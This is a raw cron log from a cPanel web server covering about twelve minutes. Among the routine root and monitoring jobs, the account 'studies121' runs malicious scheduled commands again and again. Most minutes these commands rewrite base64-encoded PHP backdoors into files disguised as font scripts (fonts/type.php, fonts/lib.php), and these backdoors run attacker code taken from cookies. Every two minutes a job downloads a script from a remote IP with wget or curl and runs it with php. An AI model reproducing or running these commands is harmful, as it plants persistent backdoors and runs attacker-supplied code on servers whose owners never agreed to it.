Sep  4 18:03:02 ip-184-168-122-23 CROND[32337]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 18:03:02 ip-184-168-122-23 CROND[32338]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:03:02 ip-184-168-122-23 CROND[32339]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 18:03:02 ip-184-168-122-23 CROND[32340]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:04:01 ip-184-168-122-23 CROND[32417]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 18:04:01 ip-184-168-122-23 CROND[32418]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 18:04:01 ip-184-168-122-23 CROND[32423]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:04:01 ip-184-168-122-23 CROND[32421]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 18:04:01 ip-184-168-122-23 CROND[32422]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:05:01 ip-184-168-122-23 CROND[32513]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 18:05:01 ip-184-168-122-23 CROND[32514]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 18:05:01 ip-184-168-122-23 CROND[32516]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 18:05:01 ip-184-168-122-23 CROND[32517]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 18:05:01 ip-184-168-122-23 CROND[32518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:05:01 ip-184-168-122-23 CROND[32521]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 18:05:01 ip-184-168-122-23 CROND[32519]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:06:01 ip-184-168-122-23 CROND[32708]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 18:06:01 ip-184-168-122-23 CROND[32707]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 18:06:01 ip-184-168-122-23 CROND[32711]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:06:01 ip-184-168-122-23 CROND[32710]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:06:01 ip-184-168-122-23 CROND[32709]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 18:07:01 ip-184-168-122-23 CROND[359]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:07:01 ip-184-168-122-23 CROND[358]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 18:07:01 ip-184-168-122-23 CROND[356]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 18:07:01 ip-184-168-122-23 CROND[357]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:08:01 ip-184-168-122-23 CROND[439]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 18:08:01 ip-184-168-122-23 CROND[441]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:08:01 ip-184-168-122-23 CROND[443]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:08:01 ip-184-168-122-23 CROND[444]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 18:08:01 ip-184-168-122-23 CROND[445]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 18:09:01 ip-184-168-122-23 CROND[538]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:09:01 ip-184-168-122-23 CROND[541]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 18:09:01 ip-184-168-122-23 CROND[542]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 18:09:01 ip-184-168-122-23 CROND[539]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 18:09:01 ip-184-168-122-23 CROND[540]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:10:01 ip-184-168-122-23 CROND[642]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 18:10:01 ip-184-168-122-23 CROND[643]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:10:02 ip-184-168-122-23 CROND[645]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 18:10:02 ip-184-168-122-23 CROND[652]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 18:10:02 ip-184-168-122-23 CROND[646]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 18:10:02 ip-184-168-122-23 CROND[647]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 18:10:02 ip-184-168-122-23 CROND[650]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 18:10:02 ip-184-168-122-23 CROND[651]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:11:01 ip-184-168-122-23 CROND[748]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:11:01 ip-184-168-122-23 CROND[752]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 18:11:01 ip-184-168-122-23 CROND[750]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 18:11:01 ip-184-168-122-23 CROND[751]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:12:01 ip-184-168-122-23 CROND[921]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 18:12:01 ip-184-168-122-23 CROND[925]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 18:12:01 ip-184-168-122-23 CROND[927]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 18:12:01 ip-184-168-122-23 CROND[926]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:12:01 ip-184-168-122-23 CROND[928]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:13:01 ip-184-168-122-23 CROND[1032]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 18:13:01 ip-184-168-122-23 CROND[1033]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 18:13:01 ip-184-168-122-23 CROND[1034]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:13:01 ip-184-168-122-23 CROND[1035]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:14:01 ip-184-168-122-23 CROND[1119]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:14:01 ip-184-168-122-23 CROND[1118]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 18:14:01 ip-184-168-122-23 CROND[1122]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 18:14:01 ip-184-168-122-23 CROND[1120]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 18:14:01 ip-184-168-122-23 CROND[1121]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:15:01 ip-184-168-122-23 CROND[1275]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 18:15:01 ip-184-168-122-23 CROND[1277]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 18:15:01 ip-184-168-122-23 CROND[1279]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:15:01 ip-184-168-122-23 CROND[1278]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  4 18:15:01 ip-184-168-122-23 CROND[1281]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 18:15:01 ip-184-168-122-23 CROND[1280]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
